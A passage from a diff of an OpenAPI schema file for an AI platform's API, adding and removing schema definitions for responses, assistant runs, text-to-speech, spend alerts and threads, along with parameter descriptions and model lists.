+ "text"
+ ],
+ "illicit": [
+ "text"
+ ],
+ "illicit/violent": [
+ "text"
+ ],
+ "self-harm/intent": [
+ "text",
+ "image"
+ ],
+ "self-harm/instructions": [
+ "text",
+ "image"
+ ],
+ "self-harm": [
+ "text",
+ "image"
+ ],
+ "sexual/minors": [
+ "text"
+ ],
+ "violence": [
+ "text",
+ "image"
+ ],
+ "violence/graphic": [
+ "text",
+ "image"
+ ]
+ }
+ }
+ ]
}
- ContainerListResource:
+ CreateResponse:
+ allOf:
+ - $ref: '#/components/schemas/CreateModelResponseProperties'
+ - $ref: '#/components/schemas/ResponseProperties'
+ - type: object
+ properties:
+ prompt_cache_options:
+ $ref: '#/components/schemas/ResponsePromptCacheOptionsParam'
+ service_tier:
+ $ref: '#/components/schemas/ServiceTierResponses'
+ truncation:
+ deprecated: true
+ anyOf:
+ - type: string
+ description: |
+ The truncation strategy to use for the model response.
+ - `auto`: If the input to this Response exceeds
+ the model's context window size, the model will truncate the
+ response to fit the context window by dropping items from the beginning of the conversation.
+ - `disabled` (default): If the input size will exceed the context window
+ size for a model, the request will fail with a 400 error.
+ enum:
+ - auto
+ - disabled
+ default: disabled
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - $ref: '#/components/schemas/Reasoning'
+ - type: 'null'
+ input:
+ $ref: '#/components/schemas/InputParam'
+ include:
+ anyOf:
+ - type: array
+ description: |-
+ Specify additional output data to include in the model response. Currently supported values are:
+ - `web_search_call.action.sources`: Include the sources of the web search tool call.
+ - `code_interpreter_call.outputs`: Includes the outputs of python code execution in code interpreter tool call items.
+ - `computer_call_output.output.image_url`: Include image urls from the computer call output.
+ - `file_search_call.results`: Include the search results of the file search tool call.
+ - `message.input_image.image_url`: Include image urls from the input message.
+ - `message.output_text.logprobs`: Include logprobs with assistant messages.
+ - `reasoning.encrypted_content`: Includes an encrypted version of reasoning tokens in reasoning item outputs. This enables reasoning items to be used in multi-turn conversations when using the Responses API statelessly (like when the `store` parameter is set to `false`, or when an organization is enrolled in the zero data retention program).
+ items:
+ $ref: '#/components/schemas/IncludeEnum'
+ - type: 'null'
+ parallel_tool_calls:
+ anyOf:
+ - type: boolean
+ description: |
+ Whether to allow the model to run tool calls in parallel.
+ default: true
+ - type: 'null'
+ store:
+ anyOf:
+ - type: boolean
+ description: |
+ Whether to store the generated model response for later retrieval via
+ API.
+ Defaults to true when omitted.
+ If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
+ default: true
+ - type: 'null'
+ instructions:
+ anyOf:
+ - type: string
+ description: |
+ A system (or developer) message inserted into the model's context.
+
+ When using along with `previous_response_id`, the instructions from a previous
+ response will not be carried over to the next response. This makes it simple
+ to swap out system (or developer) messages in new responses.
+ - type: 'null'
+ moderation:
+ anyOf:
+ - $ref: '#/components/schemas/ModerationParam'
+ description: |
+ Configuration for running moderation on the input and output of this response.
+ - type: 'null'
+ stream:
+ anyOf:
+ - description: |
+ If set to true, the model response data will be streamed to the client
+ as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
+ for more information.
+ type: boolean
+ default: false
+ - type: 'null'
+ stream_options:
+ $ref: '#/components/schemas/ResponseStreamOptions'
+ conversation:
+ anyOf:
+ - $ref: '#/components/schemas/ConversationParam'
+ - type: 'null'
+ context_management:
+ anyOf:
+ - type: array
+ description: |
+ Context management configuration for this request.
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/ContextManagementParam'
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: |
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
+ type: integer
+ minimum: 16
+ - type: 'null'
+ CreateRunRequest:
type: object
+ additionalProperties: false
properties:
- object:
- description: The type of object returned, must be 'list'.
- const: list
- data:
- type: array
- description: A list of containers.
- items:
- $ref: '#/components/schemas/ContainerResource'
- first_id:
+ assistant_id:
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
- description: The ID of the first container in the list.
- last_id:
+ model:
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ nullable: true
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/AssistantSupportedModels'
+ x-oaiTypeLabel: string
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ instructions:
+ description: Overrides the [instructions](https://developers.openai.com/api/docs/assistants/migration) of the assistant. This is useful for modifying the behavior on a per-run basis.
type: string
- description: The ID of the last container in the list.
- has_more:
+ nullable: true
+ additional_instructions:
+ description: Appends additional instructions at the end of the instructions for the run. This is useful for modifying the behavior on a per-run basis without overriding other instructions.
+ type: string
+ nullable: true
+ additional_messages:
+ description: Adds additional messages to the thread before creating the run.
+ type: array
+ items:
+ $ref: '#/components/schemas/CreateMessageRequest'
+ nullable: true
+ tools:
+ description: Override the tools the assistant can use for this run. This is useful for modifying the behavior on a per-run basis.
+ nullable: true
+ type: array
+ maxItems: 20
+ items:
+ $ref: '#/components/schemas/AssistantTool'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ temperature:
+ type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+ top_p:
+ type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
+
+ We generally recommend altering this or temperature but not both.
+ stream:
type: boolean
- description: Whether there are more containers available.
+ nullable: true
+ description: |
+ If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
+ max_prompt_tokens:
+ type: integer
+ nullable: true
+ description: |
+ The maximum number of prompt tokens that may be used over the course of the run. The run will make a best effort to use only the number of prompt tokens specified, across multiple turns of the run. If the run exceeds the number of prompt tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
+ minimum: 256
+ max_completion_tokens:
+ type: integer
+ nullable: true
+ description: |
+ The maximum number of completion tokens that may be used over the course of the run. The run will make a best effort to use only the number of completion tokens specified, across multiple turns of the run. If the run exceeds the number of completion tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
+ minimum: 256
+ truncation_strategy:
+ allOf:
+ - $ref: '#/components/schemas/TruncationObject'
+ - nullable: true
+ tool_choice:
+ allOf:
+ - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
+ - nullable: true
+ parallel_tool_calls:
+ $ref: '#/components/schemas/ParallelToolCalls'
+ response_format:
+ $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
+ nullable: true
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- ContainerResource:
+ - assistant_id
+ CreateSpeechRequest:
type: object
- title: The container object
+ additionalProperties: false
properties:
- id:
- type: string
- description: Unique identifier for the container.
- object:
+ model:
+ description: |
+ One of the available [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech): `tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - tts-1
+ - tts-1-hd
+ - gpt-4o-mini-tts
+ - gpt-4o-mini-tts-2025-12-15
+ x-stainless-nominal: false
+ x-oaiTypeLabel: string
+ input:
type: string
- description: The type of this object.
- name:
+ description: The text to generate audio for. The maximum length is 4096 characters.
+ maxLength: 4096
+ instructions:
type: string
- description: Name of the container.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the container was created.
- status:
+ description: Control the voice of your generated audio with additional instructions. Does not work with `tts-1` or `tts-1-hd`.
+ maxLength: 4096
+ voice:
+ description: 'The voice to use when generating the audio. Supported built-in voices are `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `onyx`, `nova`, `sage`, `shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the voices are available in the [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).'
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
+ response_format:
+ description: The format to audio in. Supported formats are `mp3`, `opus`, `aac`, `flac`, `wav`, and `pcm`.
+ default: mp3
type: string
- description: Status of the container (e.g., active, deleted).
- last_active_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the container was last active.
- expires_after:
- type: object
- description: |
- The container will expire after this time period.
- The anchor is the reference point for the expiration.
- The minutes is the number of minutes after the anchor before the container expires.
- properties:
- anchor:
- type: string
- description: The reference point for the expiration.
- enum:
- - last_active_at
- minutes:
- type: integer
- description: The number of minutes after the anchor before the container expires.
- memory_limit:
+ enum:
+ - mp3
+ - opus
+ - aac
+ - flac
+ - wav
+ - pcm
+ speed:
+ description: The speed of the generated audio. Select a value from `0.25` to `4.0`. `1.0` is the default.
+ type: number
+ default: 1
+ minimum: 0.25
+ maximum: 4
+ stream_format:
+ description: The format to stream the audio in. Supported formats are `sse` and `audio`. `sse` is not supported for `tts-1` or `tts-1-hd`.
type: string
- description: The memory limit configured for the container.
+ default: audio
enum:
- - 1g
- - 4g
- - 16g
- - 64g
- network_policy:
- description: Network access policy for the container.
- type: object
- properties:
- type:
- type: string
- description: The network policy mode.
- enum:
- - allowlist
- - disabled
- allowed_domains:
- type: array
- description: Allowed outbound domains when `type` is `allowlist`.
- items:
- type: string
- required:
- - type
+ - sse
+ - audio
required:
- - id
- - object
- - name
- - created_at
- - status
- - id
- - name
- - created_at
- - status
- x-oaiMeta:
- name: The container object
- example: |
- {
- "id": "cntr_682dfebaacac8198bbfe9c2474fb6f4a085685cbe3cb5863",
- "object": "container",
- "created_at": 1747844794,
- "status": "running",
- "expires_after": {
- "anchor": "last_active_at",
- "minutes": 20
- },
- "last_active_at": 1747844794,
- "memory_limit": "1g",
- "name": "My Container"
- }
- Content:
- description: |
- Multi-modal input and output contents.
+ - model
+ - input
+ - voice
+ CreateSpeechResponseStreamEvent:
anyOf:
- - title: Input content types
- $ref: '#/components/schemas/InputContent'
- - title: Output content types
- $ref: '#/components/schemas/OutputContent'
- ConversationItem:
- title: Conversation item
- description: A single item within a conversation. The set of possible types are the same as the `output` type of a [Response object](https://developers.openai.com/api/reference/resources/responses#%28resource%29%20responses%20%3E%20%28model%29%20response%20%3E%20%28schema%29%20%3E%20%28property%29%20output).
+ - $ref: '#/components/schemas/SpeechAudioDeltaEvent'
+ - $ref: '#/components/schemas/SpeechAudioDoneEvent'
discriminator:
propertyName: type
- anyOf:
- - $ref: '#/components/schemas/Message'
- - $ref: '#/components/schemas/FunctionToolCallResource'
- - $ref: '#/components/schemas/FunctionToolCallOutputResource'
- - $ref: '#/components/schemas/FileSearchToolCall'
- - $ref: '#/components/schemas/WebSearchToolCall'
- - $ref: '#/components/schemas/ImageGenToolCall'
- - $ref: '#/components/schemas/ComputerToolCall'
- - $ref: '#/components/schemas/ComputerToolCallOutputResource'
- - $ref: '#/components/schemas/ToolSearchCall'
- - $ref: '#/components/schemas/ToolSearchOutput'
- - $ref: '#/components/schemas/AdditionalTools'
- - $ref: '#/components/schemas/ResponseConfigurationUpdate'
- - $ref: '#/components/schemas/ReasoningItem'
- - $ref: '#/components/schemas/Program'
- - $ref: '#/components/schemas/ProgramOutput'
- - $ref: '#/components/schemas/CompactionBody'
- - $ref: '#/components/schemas/CodeInterpreterToolCall'
- - $ref: '#/components/schemas/LocalShellToolCall'
- - $ref: '#/components/schemas/LocalShellToolCallOutput'
- - $ref: '#/components/schemas/FunctionShellCall'
- - $ref: '#/components/schemas/FunctionShellCallOutput'
- - $ref: '#/components/schemas/ApplyPatchToolCall'
- - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
- - $ref: '#/components/schemas/MCPListTools'
- - $ref: '#/components/schemas/MCPApprovalRequest'
- - $ref: '#/components/schemas/MCPApprovalResponseResource'
- - $ref: '#/components/schemas/MCPToolCall'
- - $ref: '#/components/schemas/CustomToolCall'
- - $ref: '#/components/schemas/CustomToolCallOutput'
- ConversationItemList:
+ CreateSpendAlertBody:
type: object
- title: The conversation item list
- description: A list of Conversation items.
+ description: Parameters for creating or updating a spend alert.
properties:
- object:
- x-stainless-const: true
- description: The type of object returned, must be `list`.
- const: list
- data:
- type: array
- description: A list of conversation items.
- items:
- $ref: '#/components/schemas/ConversationItem'
- has_more:
- type: boolean
- description: Whether there are more items available.
- first_id:
+ threshold_amount:
+ type: integer
+ minimum: 0
+ description: The alert threshold amount, in cents.
+ currency:
type: string
- description: The ID of the first item in the list.
- last_id:
+ enum:
+ - USD
+ description: The currency for the threshold amount.
+ interval:
type: string
- description: The ID of the last item in the list.
+ enum:
+ - month
+ description: The time interval for evaluating spend against the threshold.
+ notification_channel:
+ $ref: '#/components/schemas/SpendAlertNotificationChannel'
required:
- - object
- - data
- - has_more
- - first_id
- - last_id
- x-oaiMeta:
- name: The item list
- group: conversations
- ConversationParam:
- description: |
- The conversation that this response belongs to. Items from this conversation are prepended to `input_items` for this response request.
- Input items and output items from this response are automatically added to this conversation after this response completes.
- anyOf:
- - type: string
- title: Conversation ID
- description: |
- The unique ID of the conversation.
- - $ref: '#/components/schemas/ConversationParam-2'
- CostsResult:
+ - threshold_amount
+ - currency
+ - interval
+ - notification_channel
+ CreateThreadAndRunRequest:
type: object
- description: The aggregated costs details of the specific time bucket.
+ additionalProperties: false
properties:
- object:
+ assistant_id:
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
- enum:
- - organization.costs.result
- x-stainless-const: true
- amount:
- type: object
- description: The monetary value in its associated currency.
- properties:
- value:
- type: number
- description: The numeric value of the cost.
- currency:
- type: string
- description: Lowercase ISO-4217 currency e.g. "usd"
- line_item:
- anyOf:
- - type: string
- description: When `group_by=line_item`, this field provides the line item of the grouped costs result.
- - type: 'null'
- project_id:
- anyOf:
- - type: string
- description: When `group_by=project_id`, this field provides the project ID of the grouped costs result.
- - type: 'null'
- api_key_id:
- anyOf:
- - type: string
- description: When `group_by=api_key_id`, this field provides the API Key ID of the grouped costs result.
- - type: 'null'
- quantity:
- anyOf:
- - type: number
- description: When `group_by=line_item`, this field provides the quantity of the grouped costs result.
- - type: 'null'
- quantity_unit:
- description: The unit of the `quantity` value. If no single supported unit applies to the result, this field is `null`.
+ thread:
+ $ref: '#/components/schemas/CreateThreadRequest'
+ model:
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ nullable: true
anyOf:
- type: string
- type: string
enum:
- - tokens
- - 1000_tokens
- - duration_seconds
- - duration_minutes
- - duration_hours
- - gibibyte_hours
- - images
- - characters
- - type: 'null'
+ - gpt-5
+ - gpt-5-mini
+ - gpt-5-nano
+ - gpt-5-2025-08-07
+ - gpt-5-mini-2025-08-07
+ - gpt-5-nano-2025-08-07
+ - gpt-4.1
+ - gpt-4.1-mini
+ - gpt-4.1-nano
+ - gpt-4.1-2025-04-14
+ - gpt-4.1-mini-2025-04-14
+ - gpt-4.1-nano-2025-04-14
+ - gpt-4o
+ - gpt-4o-2024-11-20
+ - gpt-4o-2024-08-06
+ - gpt-4o-2024-05-13
+ - gpt-4o-mini
+ - gpt-4o-mini-2024-07-18
+ - gpt-4.5-preview
+ - gpt-4.5-preview-2025-02-27
+ - gpt-4-turbo
+ - gpt-4-turbo-2024-04-09
+ - gpt-4-0125-preview
+ - gpt-4-turbo-preview
+ - gpt-4-1106-preview
+ - gpt-4-vision-preview
+ - gpt-4
+ - gpt-4-0314
+ - gpt-4-0613
+ - gpt-4-32k
+ - gpt-4-32k-0314
+ - gpt-4-32k-0613
+ - gpt-3.5-turbo
+ - gpt-3.5-turbo-16k
+ - gpt-3.5-turbo-0613
+ - gpt-3.5-turbo-1106
+ - gpt-3.5-turbo-0125
+ - gpt-3.5-turbo-16k-0613
+ x-oaiTypeLabel: string
+ instructions:
+ description: Override the default system message of the assistant. This is useful for modifying the behavior on a per-run basis.
+ type: string
+ nullable: true
+ tools:
+ description: Override the tools the assistant can use for this run. This is useful for modifying the behavior on a per-run basis.
+ nullable: true
+ type: array
+ maxItems: 20
+ items:
+ $ref: '#/components/schemas/AssistantTool'
+ tool_resources:
+ type: object
+ description: |
+ A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ properties:
+ code_interpreter:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ default: []
+ maxItems: 20
+ items:
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ maxItems: 1
+ items:
+ type: string
+ nullable: true
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ temperature:
+ type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+ top_p:
+ type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ nullable: true
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
+
+ We generally recommend altering this or temperature but not both.
+ stream:
+ type: boolean
+ nullable: true
+ description: |
+ If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
+ max_prompt_tokens:
+ type: integer
+ nullable: true
+ description: |
+ The maximum number of prompt tokens that may be used over the course of the run. The run will make a best effort to use only the number of prompt tokens specified, across multiple turns of the run. If the run exceeds the number of prompt tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
+ minimum: 256
+ max_completion_tokens:
+ type: integer
+ nullable: true
+ description: |
+ The maximum number of completion tokens that may be used over the course of the run. The run will make a best effort to use only the number of completion tokens specified, across multiple turns of the run. If the run exceeds the number of completion tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
+ minimum: 256
+ truncation_strategy:
+ allOf:
+ - $ref: '#/components/schemas/TruncationObject'
+ - nullable: true
+ tool_choice:
+ allOf:
+ - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
+ - nullable: true
+ parallel_tool_calls:
+ $ref: '#/components/schemas/ParallelToolCalls'
+ response_format:
+ $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
+ nullable: true
required:
- - object
- x-oaiMeta:
- name: Costs object
- example: |
- {
- "object": "organization.costs.result",
- "amount": {
- "value": 0.06,
- "currency": "usd"
- },
- "line_item": "gpt-6-astra, input_tokens",
- "project_id": "proj_abc",
- "quantity": 10000,
- "quantity_unit": "tokens"
- }
- CreateAssistantRequest:
+ - assistant_id
+ CreateThreadRequest:
type: object
+ description: |
+ Options to create a new thread. If no thread is provided when running a
+ request, an empty thread will be created.
additionalProperties: false
properties:
- model:
- description: |
- ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
- example: gpt-5
- anyOf:
- - type: string
- - $ref: '#/components/schemas/AssistantSupportedModels'
- x-oaiTypeLabel: string
- name:
- anyOf:
- - description: |
- The name of the assistant. The maximum length is 256 characters.
- type: string
- maxLength: 256
- - type: 'null'
- description:
- anyOf:
- - description: |
- The description of the assistant. The maximum length is 512 characters.
- type: string
- maxLength: 512
- - type: 'null'
- instructions:
- anyOf:
- - description: |
- The system instructions that the assistant uses. The maximum length is 256,000 characters.
- type: string
- maxLength: 256000
- - type: 'null'
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- tools:
- description: |
- A list of tool enabled on the assistant. There can be a maximum of 128 tools per assistant. Tools can be of types `code_interpreter`, `file_search`, or `function`.
- default: []
+ messages:
+ description: A list of [messages](https://developers.openai.com/api/docs/assistants/migration) to start the thread with.
type: array
- maxItems: 128
items:
- $ref: '#/components/schemas/AssistantTool'
+ $ref: '#/components/schemas/CreateMessageRequest'
tool_resources:
anyOf:
- type: object
description: |
- A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
properties:
code_interpreter:
type: object
@@ -31476,3902 +37983,3561 @@ components:
default: []
maxItems: 20
items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
- maxItems: 1
- items:
- type: string
- vector_stores:
- type: array
- description: |
- A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this assistant. There can be a maximum of 1 vector store attached to the assistant.
- maxItems: 1
- items:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
- maxItems: 100000000
- items:
- type: string
- chunking_strategy:
- type: object
- description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy.
- anyOf:
- - type: object
- title: Auto Chunking Strategy
- description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
- additionalProperties: false
- properties:
- type:
- type: string
- description: Always `auto`.
- enum:
- - auto
- x-stainless-const: true
- required:
- - type
- - type: object
- title: Static Chunking Strategy
- additionalProperties: false
- properties:
- type:
- type: string
- description: Always `static`.
- enum:
- - static
- x-stainless-const: true
- static:
- type: object
- additionalProperties: false
- properties:
- max_chunk_size_tokens:
- type: integer
- minimum: 100
- maximum: 4096
- description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
- chunk_overlap_tokens:
- type: integer
- description: |
- The number of tokens that overlap between chunks. The default value is `400`.
-
- Note that the overlap must not exceed half of `max_chunk_size_tokens`.
- required:
- - max_chunk_size_tokens
- - chunk_overlap_tokens
- required:
- - type
- - static
- discriminator:
- propertyName: type
- metadata:
- $ref: '#/components/schemas/Metadata'
- anyOf:
- - required:
- - vector_store_ids
- - required:
- - vector_stores
- - type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- temperature:
- anyOf:
- - description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
- type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- - type: 'null'
- top_p:
- anyOf:
- - type: number
- minimum: 0
- maximum: 1
- default: 1
- example: 1
- description: |
- An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
-
- We generally recommend altering this or temperature but not both.
- - type: 'null'
- response_format:
- anyOf:
- - $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
- - type: 'null'
- required:
- - model
- CreateBatchRequest:
- type: object
- required:
- - input_file_id
- - endpoint
- - completion_window
- properties:
- input_file_id:
- type: string
- description: |
- The ID of an uploaded file that contains requests for the new batch.
-
- See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
-
- Your input file must be formatted as a [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file), and must be uploaded with the purpose `batch`. The file can contain up to 50,000 requests, and can be up to 200 MB in size.
- endpoint:
- type: string
- enum:
- - /v1/responses
- - /v1/chat/completions
- - /v1/embeddings
- - /v1/completions
- - /v1/moderations
- - /v1/images/generations
- - /v1/images/edits
- - /v1/videos
- description: The endpoint to be used for all requests in the batch. Currently `/v1/responses`, `/v1/chat/completions`, `/v1/embeddings`, `/v1/completions`, `/v1/moderations`, `/v1/images/generations`, `/v1/images/edits`, and `/v1/videos` are supported. Note that `/v1/embeddings` batches are also restricted to a maximum of 50,000 embedding inputs across all requests in the batch.
- completion_window:
- type: string
- enum:
- - 24h
- description: The time frame within which the batch should be processed. Currently only `24h` is supported.
- metadata:
- $ref: '#/components/schemas/Metadata'
- output_expires_after:
- $ref: '#/components/schemas/BatchFileExpirationAfter'
- CreateChatCompletionRequest:
- allOf:
- - $ref: '#/components/schemas/CreateModelResponseProperties'
- - type: object
- properties:
- messages:
- description: |
- A list of messages comprising the conversation so far. Depending on the
- [model](https://developers.openai.com/api/docs/models) you use, different message types (modalities) are
- supported, like [text](https://developers.openai.com/api/docs/guides/text),
- [images](https://developers.openai.com/api/docs/guides/images-vision), and [audio](https://developers.openai.com/api/docs/guides/audio).
- type: array
- minItems: 1
- items:
- $ref: '#/components/schemas/ChatCompletionRequestMessage'
- model:
- description: |
- Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
- offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
- to browse and compare available models.
- $ref: '#/components/schemas/ModelIdsShared'
- service_tier:
- $ref: '#/components/schemas/ServiceTier'
- modalities:
- $ref: '#/components/schemas/ResponseModalities'
- verbosity:
- $ref: '#/components/schemas/Verbosity'
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- max_completion_tokens:
- description: |
- An upper bound for the number of tokens that can be generated for a completion, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- type: integer
- nullable: true
- frequency_penalty:
- type: number
- default: 0
- minimum: -2
- maximum: 2
- nullable: true
- description: |
- Number between -2.0 and 2.0. Positive values penalize new tokens based on
- their existing frequency in the text so far, decreasing the model's
- likelihood to repeat the same line verbatim.
- presence_penalty:
- type: number
- default: 0
- minimum: -2
- maximum: 2
- nullable: true
- description: |
- Number between -2.0 and 2.0. Positive values penalize new tokens based on
- whether they appear in the text so far, increasing the model's likelihood
- to talk about new topics.
- web_search_options:
- type: object
- title: Web search
- description: |
- This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
- properties:
- user_location:
- type: object
- nullable: true
- required:
- - type
- - approximate
- description: |
- Approximate location parameters for the search.
- properties:
- type:
- type: string
- description: |
- The type of location approximation. Always `approximate`.
- enum:
- - approximate
- x-stainless-const: true
- approximate:
- $ref: '#/components/schemas/WebSearchLocation'
- search_context_size:
- $ref: '#/components/schemas/WebSearchContextSize'
- top_logprobs:
- description: |
- An integer between 0 and 20 specifying the maximum number of most likely
- tokens to return at each token position, each with an associated log
- probability. In some cases, the number of returned tokens may be fewer than
- requested.
- `logprobs` must be set to `true` if this parameter is used.
- type: integer
- minimum: 0
- maximum: 20
- nullable: true
- response_format:
- description: |
- An object specifying the format that the model must output.
-
- Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
- Structured Outputs which ensures the model will match your supplied JSON
- schema. Learn more in the [Structured Outputs
- guide](https://developers.openai.com/api/docs/guides/structured-outputs).
-
- Setting to `{ "type": "json_object" }` enables the older JSON mode, which
- ensures the message the model generates is valid JSON. Using `json_schema`
- is preferred for models that support it.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ResponseFormatText'
- - $ref: '#/components/schemas/ResponseFormatJsonSchema'
- - $ref: '#/components/schemas/ResponseFormatJsonObject'
- audio:
- type: object
- nullable: true
- description: |
- Parameters for audio output. Required when audio output is requested with
- `modalities: ["audio"]`. [Learn more](https://developers.openai.com/api/docs/guides/audio).
- required:
- - voice
- - format
- properties:
- voice:
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- description: |
- The voice the model uses to respond. Supported built-in voices are
- `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `nova`, `onyx`,
- `sage`, `shimmer`, `marin`, and `cedar`. You may also provide a
- custom voice object with an `id`, for example `{ "id": "voice_1234" }`.
- format:
- type: string
- enum:
- - wav
- - aac
- - mp3
- - flac
- - opus
- - pcm16
- description: |
- Specifies the output audio format. Must be one of `wav`, `mp3`, `flac`,
- `opus`, or `pcm16`.
- store:
- type: boolean
- default: false
- nullable: true
- description: |
- Whether or not to store the output of this chat completion request for
- use in our [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model) or
- [evals](https://developers.openai.com/api/docs/guides/evals) products.
-
- Supports text and image inputs. Note: image inputs over 8MB will be dropped.
- moderation:
- anyOf:
- - $ref: '#/components/schemas/ModerationParam'
- description: |
- Configuration for running moderation on the request input and generated output.
- - type: 'null'
- stream:
- description: |
- If set to true, the model response data will be streamed to the client
- as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
- for more information, along with the [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
- guide for more information on how to handle the streaming events.
